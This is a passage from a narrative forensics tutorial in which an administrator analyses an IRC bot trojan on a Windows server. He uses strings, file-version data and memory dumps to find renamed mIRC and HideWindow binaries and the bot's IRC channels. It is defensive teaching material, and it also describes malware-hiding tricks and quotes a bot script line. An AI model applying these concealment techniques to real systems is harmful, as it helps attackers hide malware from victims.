At this point, Eliot knew from the Web server logs that lb.exe had been copied to the server using the directory transversal exploit to launch tftp.exe. From there, lb.exe was executed, and the Security EventLog entries from both the Web server and the test system showed the processes that were created when this happened. However, from what he'd been able to determine, UPX was simply a file compressor. Any executable compressed with UPX could be executed, or decompressed...but not decompressed and then immediately executed. Further research on the Internet led Eliot to believe that the version of UPX used to compress the lb.exe file was not only an older version, but had also been modified in some way to launch files in a specific sequence. During several hours of searching on Google, he kept coming across references to the MyParty worm. Eliot figured that the only other possibility would be an executable binder of some kind, like EliteWrap, but he couldn't find any evidence of any other binder being used. Without any evidence to support his theory, Eliot figured that it was better left unsaid.

So, what to do next, he thought. He'd launched the file, and now had a bunch of files and a process to work with. Eliot figured that he would try some of the same things on the new files as he'd done on the original file, so he ran strings.exe and finfo.pl against statistics.exe and teamscan32.exe. The output from strings wasn't all that interesting, but it did show him that teamscan32.exe had been compressed with a newer version of UPX. Eliot used a more up-to-date version of UPX to decompress the file, and then reran strings.exe and finfo.pl against the resulting file.

The finfo.pl output from statistics.exe showed the following:

OriginalFilename mirc32.exe

InternalName mIRC32

FileDescription	mIRC
FileVersion	5.82
Language	English (United States)
CompanyName	mIRC Co. Ltd.
LegalCopyright	Copyright © 1995-2000 mIRC Co. Ltd.
ProductName	mIRC
ProductVersion	5.82

The finfo.pl output from the decompressed teamscan32.exe revealed the following:

OriginalFilename	hidewndw.exe
InternalName	HideWindow
FileDescription	Hides/Reveals application windows
FileVersion	1.43
Language	English (United States)
CompanyName	Adrian Lopez
LegalCopyright	Copyright © 1996 Adrian Lopez; All rights reserved.

Now Eliot knew that he was getting somewhere. He knew that changing the names of files on a Windows system was an excellent method for hiding the file, and that's what had been done in this case. Anyone doing a Web search on a process or file called "statistics.exe" would find information about a database utility. A search for "teamscan32.exe" didn't reveal anything at all. However, by delving into the resource section of the file and retrieving the data placed there by the original author of the program, Eliot was lucky enough to find something very useful. He located the author's Web site, and understood why the process only seemed to run for a short time: once the process was correctly invoked, it did it's job (i.e., hide the IRC client window) and disappeared. Eliot then did a search for both applications, and found that this wasn't the first instance in which they had been used together to create a Trojan application.

Eliot now figured that he had a pretty good idea of what of the lb.exe file was all about. He was still in the dark about how the statistics.exe process had been launched by the lb.exe process, and he still had no idea what to call this particular IRC bot. During one of his Web searches for utilities, he'd run across a tool called pmdump.exe that would dump a process's memory contents to a file, and decided to run it against the statistics.exe process. What he ended up with was a 17.7 MB file, far too much to parse through by hand...so he ran strings.exe against the output of pmdump, and got a 1.55 MB file, which was a little easier to handle. He opened the output of strings.exe in UltraEdit and started walking through the output a page at a time. He saw a lot of references to files and Registry keys, as well as the contents of scripts he'd seen in the WINNT directory along with statistics.exe and teamscan32.exe. He also saw something unusual:

Superkhaledfragilisticexpialidocious

Interesting, Eliot thought. Maybe someone had a sense of humor. However, given what he'd seen so far, both in the data he'd collected and in the research he'd done, it was pretty clear that this bot was controlled via an IRC channel. Someone would issue commands on the channel, and any bots connected to the channel would launch the appropriate scripts on the system. He also found e-mail addresses, and by doing a search using the IP address found in

the output of netstat.exe (run after lb.exe was executed), he also found references to the IRC server the bot was trying to connect to. There were also some references to IRC channels:

#Russian_Cafe

#russian_[a&m]_team

#Russian_Love

More searches for information regarding "russian" netted Eliot with the following:

titlebar russiantopz

.run TeamScan32.exe "mIRC32 russiantopz"

The above looked like an excerpt from one of the scripts he'd seen. It looked as if this bot had originated in Russia, and was called "russiantopz". That was very interesting, Eliot thought, because his searches for a modified version of UPX mentioned the MyParty worm, which originated in Russia, as well.

By now, Eliot figured that he'd found out just about all he could about this IRC bot. He knew it was an IRC bot, and where it was from. He wasn't interested in parsing through each script to determine exactly what each one did, he wanted to get an e-mail sent off to Elizabeth to let her know what he'd found. He'd also have to talk to the network engineers about tracking outbound traffic to IRC servers. And thanks to this little exercise, he was confident that he had the necessary tools and skills to take a look at suspicious files and processes and determine their true nature. Between tools like procdmp.pl and those that he'd used to "look into" the statistics.exe file and process, he figured that he'd had just about all of the bases covered. Now, he thought, to burn them all to CD...

Conclusion

As the No Stone Unturned series has shown, many of the basic troubleshooting, and even advanced "live" forensics techniques used in the Linux/*nix world are applicable to the Windows world. Due to differences in architectures, some modifications or additional measures are required, but for the most part, the same principles apply.

From:

http://www.securityfocus.com/infocus/1618